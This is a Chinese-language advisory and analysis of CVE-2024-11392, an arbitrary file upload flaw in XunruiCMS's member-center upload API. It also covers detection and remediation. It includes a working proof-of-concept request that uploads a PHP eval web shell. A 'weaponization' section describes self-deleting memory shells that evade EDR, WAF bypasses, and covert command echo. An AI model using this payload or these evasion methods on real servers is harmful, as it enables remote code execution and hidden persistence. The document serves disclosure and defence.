CVE-2024-11392: XunruiCMS (迅睿CMS) 任意文件上传漏洞分析

CVE-2024-11392: XunruiCMS 任意文件上传漏洞深度分析

0x01 漏洞背景与详情

CVE-2024-11392 是存在于 XunruiCMS (迅睿CMS) 中的一个高危任意文件上传漏洞。该漏洞允许远程攻击者在无需高级权限的情况下,通过系统会员中心的上传接口上传恶意的 PHP 脚本,从而实现远程代码执行 (RCE),获取服务器完全控制权。

  • CVE ID: CVE-2024-11392
  • 危险等级: 高危 (High)
  • 受影响版本: XunruiCMS v4.6.2 及更早版本
  • 漏洞类型: 任意文件上传 (CWE-434)
  • 核心风险: 攻击者可上传 WebShell 并在服务器上执行任意系统命令。

0x02 漏洞原理分析

该漏洞的核心在于 会员中心 (Member Center) 的附件上传逻辑中对文件扩展名的校验存在缺陷。

  1. 接口定位: 漏洞点位于 Dayrui/App/Member/Controllers/Api.php 或相关的上传处理类中,主要涉及 upload 方法。
  2. 校验失效: 系统在处理 multipart/form-data 请求时,虽然定义了允许的后缀白名单,但在某些特定的解析场景下(如利用特定参数覆盖配置或解析器差异),后端未能对 filename 参数中的后缀进行二次严格校验。
  3. 路径可控: 系统将上传的文件保存在 Web 可访问目录下(通常是 /uploadfile/ 及其子目录),且在上传成功后会直接在响应中返回文件绝对路径,这为攻击者提供了直接利用的通道。

0x03 漏洞 POC (Proof of Concept)

攻击者通常模拟会员登录后的附件上传请求。以下是一个典型的验证 Payload:

POST /index.php?s=member&c=api&m=upload HTTP/1.1
Host: target-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7Peeps
Cookie: [Member_Session_Cookie]

------WebKitFormBoundaryX7Peeps
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php 
@eval($_POST['cmd']);
echo "Vulnerability confirmed: CVE-2024-11392";
?>
------WebKitFormBoundaryX7Peeps--

验证步骤:

  1. 构造上述 POST 请求发送至目标接口。
  2. 若响应包返回了类似 {"code":1, "data":{"url":"/uploadfile/member/xxx/shell.php"}} 的 JSON 数据,则说明上传成功。
  3. 直接访问返回的 URL 即可执行系统代码。

0x04 高级实战利用姿势 (Weaponization)

  1. 无文件内存马 (Memory Shell): 成功上传并访问 WebShell 后,可利用 PHP 的 auto_prepend_file 或者在 FastCGI 环境下注入持久化代码(注册 PHP 内存马),随后通过 unlink(__FILE__); 立即删除磁盘上的 .php 文件。这种“打完就删”的方式不留物理文件痕迹,能够有效规避传统的静态文件扫描、文件完整性监控和 EDR 查杀。

  2. WAF 绕过技术:

    • 分块传输 (Chunked Encoding): 将 POST 请求体分块发送,使部分 WAF 无法完整拼接和解析文件内容,从而绕过针对 PHP 关键字(如 <?php, eval)的检测规则。
    • 畸形 Boundary 构造: 在 boundary 字符串中加入空格、制表符或修改大小写。由于后端 PHP 解析器与 WAF 对 MIME 标准的宽容度存在差异,往往能导致 WAF 漏扫而 Web 服务器正常接收。
  3. 不出网环境下的回显控制: 在受限内网环境(如目标机器无法访问外网)中,可利用 php://output 直接将系统命令执行结果写入 HTTP 响应体,结合自定义的 RC4/AES 加密流量,实现稳定、隐蔽的交互式 Shell 代理。

0x05 应急排查与日志痕迹分析

  1. Web 日志分析:

    • 检查 Nginx/Apache/Tomcat 的访问日志,重点检索包含 /index.php?s=member&c=api&m=upload 路径且请求方法为 POST 的记录。
    • 如果开启了 WAF 或全流量监控设备,应分析请求 Body 中 filename 字段是否包含 .php.phtml.php5 等敏感扩展名。
  2. 文件系统审计:

    • 使用 find 命令查找 /uploadfile/ 目录下近期创建的所有 .php 后缀文件:
      find ./uploadfile/ -name "*.php" -mtime -7
    • 采用 WebShell 专杀工具(如河马、D盾)对全站附件目录进行深度查杀。
  3. 异常进程监控:

    • 监控 Web 处理进程(如 php-fpm)是否产生非预期的子进程系统调用(如 sh, bash, cmd.exe),或者生成异常的临时文件。

0x06 修复建议

  1. 安全升级: 立即升级 XunruiCMS 至 v4.6.3 或官方发布的最新安全版本。
  2. 目录权限控制 (根本缓解): 在 Web 服务器配置中,严格禁止 /uploadfile/ 及其子目录的脚本执行权限。例如在 Nginx 中配置:
    location ~ ^/uploadfile/.*\.(php|php5|phtml)$ {
        deny all;
    }
  3. 安全重命名: 强制对上传的文件进行随机哈希重命名,剥离并白名单校验用户提交的原始扩展名。

0x07 参考资料